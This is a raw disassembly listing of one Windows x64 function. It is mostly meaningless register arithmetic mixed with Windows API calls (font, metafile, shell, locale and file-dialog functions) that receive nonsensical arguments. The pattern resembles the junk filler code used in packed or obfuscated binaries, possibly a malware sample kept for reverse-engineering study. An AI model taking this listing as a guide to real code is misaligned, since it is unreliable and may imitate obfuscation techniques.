mov eax, dword [rsp + 0x208]
shr eax, cl
mov dword [rsp + 0xc4], eax
movzx r8d, word [rsp + 0x7c]
movzx edx, word [rsp + 0x8c]
movzx ecx, byte [rsp + 0x58]
call fcn.140054620
jmp 0x1400528c8
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0x81]
sub eax, ecx
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
mov dword [rsp + 0x33a4], ecx
mov rdx, qword [rsp + 0x298]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x33a4]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140052872
mov eax, dword [rsp + 0xc4]
mov ecx, dword [rsp + 0xc8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
jmp 0x1400528c8
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
add rax, qword [rsp + 0x1720]
mov qword [rsp + 0x990], rax
mov rax, qword [rsp + 0x838]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x3d0]
movzx r9d, word [rax]
mov rax, qword [rsp + 0xd8]
mov r8d, dword [rax]
mov rdx, qword [rsp + 0x1f0]
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rax]
call fcn.1400531a0
movsx eax, word [rsp + 0x54]
movsx ecx, word [rsp + 0x64]
xor eax, ecx
mov rcx, qword [rsp + 0x190]
mov word [rcx], ax
movzx eax, word [rsp + 0x88]
movzx ecx, word [rsp + 0x5c]
shl eax, cl
mov word [rsp + 0x84], ax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x81]
add eax, ecx
mov byte [rsp + 0x61], al
lea r9, [rsp + 0x2d28]
lea r8, [rsp + 0xb4]
lea rdx, [rsp + 0x5418]
mov rcx, qword [rsp + 0x4238]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x1100], eax
mov rax, qword [rsp + 0x778]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [0x1400fd138]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x1b0]
mov r8, qword [rax]
mov rax, qword [rsp + 0xa8]
movzx edx, word [rax]
mov rcx, qword [rsp + 0x990]
call fcn.140054190
jmp 0x1400529fa
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1e8]
mov qword [rcx], rax
xor r8d, r8d
lea rdx, [rsp + 0x358]
lea rcx, [rsp + 0xa8]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x1100], eax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xb8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xc4], eax
movsx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x298]
mov byte [rcx], al
call fcn.140054890
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x88]
add eax, ecx
mov word [rsp + 0xec], ax
mov rax, qword [rsp + 0x3d8]
mov rcx, qword [rsp + 0x188]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fd148], rax
mov eax, dword [rsp + 0xb4]
mov ecx, dword [rsp + 0x94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20c], eax
mov rax, qword [rsp + 0x508]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xa8]
movzx ecx, word [rax]
call fcn.140053ea0
movsx eax, word [rsp + 0x54]
movsx ecx, word [0x1400fd140]
xor eax, ecx
mov word [rsp + 0x64], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x70]
and eax, ecx
mov word [rsp + 0x5c], ax
movzx edx, word [rsp + 0x7c]
mov rax, qword [rsp + 0x188]
mov rcx, qword [rax]
call fcn.140054af0
movsx eax, word [rsp + 0x64]
movsx ecx, word [rsp + 0x78]
sub eax, ecx
mov word [rsp + 0x7c], ax
movzx eax, word [rsp + 0x84]
movzx ecx, word [rsp + 0x70]
add eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
jmp 0x140052b92
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x338]
or rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x1a8]
jae 0x140052b92
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x70]
sub eax, ecx
mov word [rsp + 0x6c], ax
lea rdx, [rsp + 0x1a8]
mov ecx, 0x35
call qword [sym.imp.GDI32.dll_SetMetaFileBitsEx]
mov qword [rsp + 0x5420], rax
mov r9d, dword [rsp + 0x94]
mov r8d, dword [rsp + 0xb4]
mov edx, dword [rsp + 0xa4]
mov ecx, dword [rsp + 0xb4]
call fcn.1400536b0
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x200]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x60], al
call fcn.140053310
call qword [sym.imp.GDI32.dll_GdiGetBatchLimit]
mov dword [rsp + 0xb8], eax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xc8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x190]
movzx r9d, word [rax]
mov r8d, dword [rsp + 0xb8]
mov rdx, qword [rsp + 0x328]
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rax]
call fcn.1400531a0
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
mov r9d, dword [rsp + 0xb8]
mov rax, qword [rsp + 0x358]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x358]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x5c]
call fcn.140053e50
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x64]
sar eax, cl
mov word [rsp + 0x54], ax
mov rax, qword [rsp + 0x2f0]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x50]
mov ecx, dword [0x1400fc384]
call fcn.1400534d0
lea rax, [rsp + 0x2e8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x5428]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x85
lea r9, [rsp + 0xd8]
mov r8d, 0xd4
xor edx, edx
mov rcx, qword [rsp + 0x2d30]
call qword [sym.imp.GDI32.dll_GetGlyphOutlineW]
mov dword [rsp + 0xa0], eax
lea rdx, [rsp + 0x2d30]
mov rcx, qword [rsp + 0x2d28]
call qword [sym.imp.GDI32.dll_GetDCOrgEx]
mov dword [rsp + 0x1a4c], eax
movzx eax, word [rsp + 0x5c]
and eax, 0x9b
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
call fcn.1400544e0
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x120]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f0], rax
mov eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0xb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4], eax
mov r8d, dword [rsp + 0xb4]
movzx edx, byte [str._aMl]
mov ecx, dword [rsp + 0xb8]
call fcn.1400533f0
mov rax, qword [rsp + 0x2e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
sar eax, cl
mov rcx, qword [rsp + 0x358]
mov byte [rcx], al
jmp 0x140052e45
movabs rax, 0x7a6e40886e745f
cmp qword [rsp + 0x1a8], rax
jb 0x140052db2
movabs rax, 0x7947328166697a
mov rcx, qword [rsp + 0x1a8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a8], rax
movzx edx, byte [rsp + 0x50]
mov ecx, dword [rsp + 0xa4]
call fcn.1400541f0
jmp 0x140052e45
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [str._aMl]
cdq
idiv ecx
movsx ecx, byte [rsp + 0x50]
cmp eax, ecx
jl 0x140052e26
lea r8, [rsp + 0x5430]
lea rdx, [rsp + 0x200]
mov rcx, qword [rsp + 0x5430]
call qword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
mov dword [rsp + 0x21e4], eax
movsx eax, byte [str._aMl]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x50], al
movsx eax, word [rsp + 0x64]
movsx ecx, word [rsp + 0x54]
shl eax, cl
mov rcx, qword [rsp + 0x278]
mov word [rcx], ax
jmp 0x140052e45
mov r8d, dword [rsp + 0xa4]
mov rax, qword [rsp + 0x100]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0xb8]
call fcn.1400533f0
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0xb8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov edx, 0xda
mov ecx, ILAppendID
call qword [sym.imp.KERNEL32.dll_IsValidLocale]
mov dword [rsp + 0x21e4], eax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xb8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov edx, dword [rsp + 0xa4]
mov rcx, qword [rsp + 0x1a8]
call fcn.140053650
jmp 0x140052f2b
movsx eax, byte [rsp + 0x50]
shl eax, 1
mov byte [rsp + 0x50], al
mov r9, qword [rsp + 0x5b50]
mov r8, qword [rsp + 0x3398]
mov edx, 0x76
mov rcx, qword [rsp + 0x3630]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov dword [rsp + 0xa0], eax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x20], eax
movzx r9d, word [rsp + 0x54]
mov r8d, dword [rsp + 0xa0]
mov edx, dword [rsp + 0xa0]
movzx ecx, word [rsp + 0x54]
call fcn.140053240
movsx eax, byte [rsp + 0x50]
sar eax, 4
mov byte [rsp + 0x50], al
movzx r8d, byte [rsp + 0x50]
movzx edx, byte [rsp + 0x50]
mov ecx, dword [rsp + 0xb4]
call fcn.1400547d0
mov r8d, 0x6d
movzx edx, word [rsp + 0x54]
mov cx, 0x1e
call fcn.1400542c0
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x20], al
movzx r9d, word [rsp + 0x54]
movzx r8d, byte [rsp + 0x50]
mov dx, 0xcf
movzx ecx, word [rsp + 0x54]
call fcn.140053dc0
movsx eax, word [rsp + 0x54]
sub eax, 0x699
mov word [rsp + 0x54], ax
lea rcx, [rsp + 0x5f70]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x33a0], eax
mov eax, dword [rsp + 0x21e8]
add rsp, 0x6018
pop rdi
pop rsi
ret